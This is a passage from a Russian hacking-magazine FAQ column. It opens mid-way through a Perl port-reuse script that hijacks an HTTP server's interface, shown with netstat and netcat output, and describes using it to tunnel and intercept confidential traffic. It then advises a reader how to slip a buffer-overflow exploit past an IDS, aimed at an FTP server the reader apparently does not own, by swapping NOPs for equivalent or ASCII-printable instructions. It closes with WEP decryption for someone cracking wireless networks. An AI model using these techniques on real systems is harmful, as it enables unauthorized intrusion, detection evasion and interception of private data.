HACK-FAQ 1dt.w0lf Хакер, номер #090, стр. 090-062-3 LocalAddr => $ARGV[0], Proto => 'tcp', LocalPort => $ARGV[1], Reuse => 1 ); if($sock) { print " [DONE]\n"; } else { print " [FAILED]\n"; exit(); } while($client = $sock->accept) { print $client "Got hacked!"; close($client); } На системе запущен http-сервер, слушающий все интерфейсы. C:\perl_source>netstat -an Имя Локальный адрес Внешний адрес Состояние TCP 0.0.0.0:80 0.0.0.0:0 LISTENING Создаем с помощью скрипта сокет, связанный со специфичным интерфейсом C:\perl_source>reuse.pl 192.168.0.2 80 Try create socket ... [DONE] Вывод netstat приобретает вид Имя Локальный адрес Внешний адрес Состояние TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 192.168.0.2:80 0.0.0.0:0 LISTENING Теперь, если обратиться к адресу 192.168.0.2 на порт 80, то запрос перехватит наш скрипт, а не http-сервер. Продемонстрирую: c:\>nc 192.168.0.2 80 Got hacked! c:\> Таким образом, атакующий может, используя захват службы, создать туннель между захваченным интерфейсом и реальным сервером, попутно сохраняя всю информацию, проходящую через этот туннель в обоих направлениях, что приведет к перехвату конфиденциальной информации. A: Нашли с друзьями в локальной сети FTP-сервер, уязвимый к переполнению буфера, скачали эксплойт, скомпилировали как надо. При проверке на тестовом сервере все работает замечательно, а вот против того фтпшника не катит. Удалось разведать, что там стоит хитрая ids, которая отлавливает nop'ы в коде. Посоветуй, чем бы в коде эксплойта заменить эти самые нопы? Q: В качестве нопов сойдут любые ассемблерные команды, которые не приводят ни к каким действиям. Например, такие как: mov ax,ax ; 2 байта xchg ax,ax ; 2 байта lea bx,[bx] ; 2 байта shl eax,0 ; 4 байта shrd eax,eax,0 ; 5 байт При использовании таких команд главное — следить за выравниванием, поскольку они занимают более одного байта, в отличие от NOP. Также можно сочетать команды инкремента, декремента регистров inc eax - увеличить на 1 dec eax - уменьшить на 1 Точно так же можно воспользоваться тем, что в большинстве шеллкодов, в начале работы, регистры обнуляются, и можно без опаски менять значения регистров с помощью команд inc eax - 0x40 , inc ebx - 0x43 , dec eax - 0x48 , dec ebx 0x4B и тому подобных. Плюсом данных команд является то, что, во-первых, они занимают по одному байту, а во-вторых, то, что они совпадают с отображаемыми символами ASCII. Таким образом, вместо цепочки нопов можно использовать, например, такую строчку: «HACK», что совпадает с dec eax, inc ecx, inc ebx, dec ebx. Конечно, при условии, что регистры eax, ecx, ebx будут обнулены в начале шеллкода. A: Занимаюсь поиском и взломом беспроводных сетей, и озадачился следующим вопросом: можно ли снифер заставить расшифровать wep сразу при перехвате, если ключ у меня уже есть? Q: Да, это возможно. Для этого можешь воспользоваться отличным снифером ethereal, поддерживающим расшифровку wep. Чтобы включить эту возможность, зайди в меню Edit -> Preferences -> Protocols -> IEEE 802.11, введи количество ключей в "WEP key count" и, соотвтственно, сами ключи в необходимые поля. |